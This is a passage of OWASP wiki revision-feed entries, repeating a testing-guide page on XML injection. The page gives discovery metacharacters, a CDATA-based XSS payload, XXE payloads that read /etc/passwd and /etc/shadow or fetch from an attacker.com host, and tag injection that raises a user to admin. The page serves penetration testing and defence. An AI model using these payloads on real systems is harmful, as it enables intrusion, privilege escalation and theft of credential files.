		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;--&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt;&lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The original ''userid'' node has been commented out, leaving only the injected one. The document now complies with its DTD rules.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Alex Stamos: &amp;quot;Attacking Web Services&amp;quot; - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=36996</id>
		<title>Testing for XML Injection (OTG-INPVAL-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=36996"/>
				<updated>2008-08-23T06:38:19Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Tag Injection */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an  appropriate data validation the test will results positive. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
In this section, we describe a practical example of XML Injection: first, we define an XML style communication and we show how it works. Then, we describe the discovery method in which we try to insert XML metacharacters.&lt;br /&gt;
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Let's suppose there is a web application using an XML style communication &lt;br /&gt;
in order to perform users registration.&lt;br /&gt;
This is done by creating and adding a new &amp;lt;user&amp;gt; node in an xmlDb file.&lt;br /&gt;
Let's suppose the xmlDB file is like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
When a user registers himself by filling an HTML form, &lt;br /&gt;
the application receives the user's data in a standard request, which,&lt;br /&gt;
for the sake of simplicity, will be supposed to be sent as a GET request.&lt;br /&gt;
&lt;br /&gt;
For example, the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
will produce the request:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/addUser.php?username=tony&amp;amp;password=Un6R34kb!e&amp;amp;email=s4tan@hell.com&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The application, then, builds the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
	&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
	&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
	&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
	&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which will be added to the xmlDB:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
=== Discovery ===&lt;br /&gt;
The first step in order to test an application for the presence of a XML Injection&lt;br /&gt;
vulnerability consists of trying to insert XML metacharacters.&amp;lt;br&amp;gt;&lt;br /&gt;
XML metacharacters are:&lt;br /&gt;
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.&lt;br /&gt;
As an example, let's suppose there is the following attribute:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;node attrib='$inputValue'/&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So, if:&lt;br /&gt;
&lt;br /&gt;
 '''inputValue = foo''''&lt;br /&gt;
&lt;br /&gt;
is instantiated and then is inserted as the attrib value:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib='foo''/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
then, the resulting XML document is not well formed.&lt;br /&gt;
&lt;br /&gt;
* '''Double quote: &amp;quot; '''- this character has the same means of double quotes and it could be used in case the attribute value is enclosed in double quotes.&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;$inputValue&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So if:&lt;br /&gt;
 '''$inputValue = foo&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
the substitution gives:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;foo&amp;quot;&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and the resulting XML document is invalid.&lt;br /&gt;
&lt;br /&gt;
* '''Angular parenthesis: &amp;gt; and &amp;lt;''' - By adding an open or closed angular parenthesis in a user input like the following:&lt;br /&gt;
&lt;br /&gt;
 '''Username = foo&amp;lt;'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
     &amp;lt;username&amp;gt;foo&amp;lt;&amp;lt;/username&amp;gt; &lt;br /&gt;
     &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
     &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
     &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but, because of the presence of the open '&amp;lt;', the resulting XML document is invalid.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Comment tag: &amp;lt;nowiki&amp;gt;&amp;lt;!--/--&amp;gt;&amp;lt;/nowiki&amp;gt;''' -  This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;Username = foo&amp;lt;!--&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the application will build a node like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
    &amp;lt;username&amp;gt;foo&amp;lt;!--&amp;lt;/username&amp;gt; &lt;br /&gt;
    &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
    &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
    &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which won't be a valid XML sequence.&lt;br /&gt;
&lt;br /&gt;
* '''Ampersand: &amp;amp;amp; '''-   The ampersand is used in the XML syntax to represent entities. The format of an entity is '&amp;amp;amp;symbol;'. An entity is mapped to a character in the Unicode character set.&lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;tagnode&amp;gt;&amp;amp;amp;lt;&amp;lt;/tagnode&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
is well formed and valid, and represents the '&amp;lt;' ASCII character.&lt;br /&gt;
&lt;br /&gt;
If '&amp;amp;amp;' is not encoded itself with &amp;amp;amp;amp;, it could be used to test XML injection.&lt;br /&gt;
&lt;br /&gt;
In fact, if an input like the following is provided:&lt;br /&gt;
&lt;br /&gt;
 '''Username = &amp;amp;amp;foo'''&lt;br /&gt;
&lt;br /&gt;
a new node will be created:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;&amp;amp;foo&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but, again, the document is not valid: &amp;amp;amp;foo is not terminated with ';' and the &amp;amp;foo; entity is undefined.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''CDATA section delimiters: &amp;lt;![CDATA[ / ]]&amp;gt;''' - CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser.&lt;br /&gt;
&lt;br /&gt;
For example, if there is the need to represent the string '&amp;lt;foo&amp;gt;' inside a text node, a CDATA section may be used:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node&amp;gt;&lt;br /&gt;
    &amp;lt;![CDATA[&amp;lt;foo&amp;gt;]]&amp;gt;&lt;br /&gt;
&amp;lt;/node&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
so that '&amp;lt;foo&amp;gt;' won't be parsed as markup and will be considered as character data.&lt;br /&gt;
&lt;br /&gt;
In case a node is built in the following way:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;username&amp;gt;&amp;lt;![CDATA[&amp;lt;$userName]]&amp;gt;&amp;lt;/username&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the tester could try to inject the end CDATA string ']]&amp;gt;' in order to try to invalidate the XML document.&lt;br /&gt;
&lt;br /&gt;
 '''userName  = ]]&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
this will become:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;username&amp;gt;&amp;lt;![CDATA[]]&amp;gt;]]&amp;gt;&amp;lt;/username&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which is not a valid XML fragment.&lt;br /&gt;
&lt;br /&gt;
Another test is related to CDATA tag. Suppose that the XML document is processed to generate a HTML page. In this case, the CDATA section delimiters may be simply eliminated, without further inspecting their contents. Then, it is possible to inject HTML tags, which will be included in the generated page, completely bypassing existing sanitization routines.&lt;br /&gt;
&lt;br /&gt;
Let's consider a concrete example. Suppose to have a node containing some text that will be displayed back to the user. &lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt; &amp;lt;html&amp;gt;&lt;br /&gt;
 $HTMLCode&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Then, an attacker can provide the following input:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;$HTMLCode = &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and obtain the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
During the processing, the CDATA section delimiters are eliminated, generating the following HTML code:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The result is that the application is vulnerable to XSS. &lt;br /&gt;
&lt;br /&gt;
'''External Entity:'''&lt;br /&gt;
The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems. &lt;br /&gt;
&lt;br /&gt;
To test for XXE vulnerabilities, one can use the following input:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This test could crash the web server (on a UNIX system), if the XML parser attempts to substitute the entity with the contents of the /dev/random file.&lt;br /&gt;
&lt;br /&gt;
Other useful tests are the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
=== Tag Injection ===&lt;br /&gt;
&lt;br /&gt;
Once the first step is accomplished, the tester will have some information about the structure of the XML document. Then, it is possible to try to inject XML data and tags. We will show an example of how this can lead to a privilege escalation attack.&lt;br /&gt;
&lt;br /&gt;
Let's considering the previous application. By inserting the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node and append it to the XML database:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The resulting XML file is well formed. Furthermore, it is likely that, for the user tony, the value associated with the userid tag is the one appearing last, i.e., 0 (the admin ID). In other words, we have injected a user with administrative privileges.&lt;br /&gt;
&lt;br /&gt;
The only problem is that the userid tag appears twice in the last user node. Often, XML documents are associated with a schema or a DTD and will be rejected if they don't comply with it.&lt;br /&gt;
Let's suppose that XML document is specified by the following DTD:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;!DOCTYPE users [&lt;br /&gt;
	  &amp;lt;!ELEMENT users (user+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT user (username,password,userid,mail+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT username (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT password (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT userid (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT mail (#PCDATA) &amp;gt;&lt;br /&gt;
]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Note that the userid node is defined with cardinality 1. In this case, the attack we have shown before (and other simple attacks) will not work, if the XML document is validated against its DTD before any processing occurs.&lt;br /&gt;
&lt;br /&gt;
However, this problem can be solved, if the tester controls the value of some nodes preceding the offending node (userid, in this example). In fact, the tester can comment out such node, by injecting &lt;br /&gt;
a comment start/end sequence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--'''&lt;br /&gt;
 '''E-mail: --&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
In this case, the final XML database is:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;--&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt;&lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The original ''userid'' node has been commented out, leaving only the injected one. The document now complies with its DTD rules.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Alex Stamos: &amp;quot;Attacking Web Services&amp;quot; - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=36995</id>
		<title>Testing for XML Injection (OTG-INPVAL-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=36995"/>
				<updated>2008-08-23T06:35:54Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Tag Injection */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an  appropriate data validation the test will results positive. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
In this section, we describe a practical example of XML Injection: first, we define an XML style communication and we show how it works. Then, we describe the discovery method in which we try to insert XML metacharacters.&lt;br /&gt;
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).&lt;br /&gt;
&lt;br /&gt;
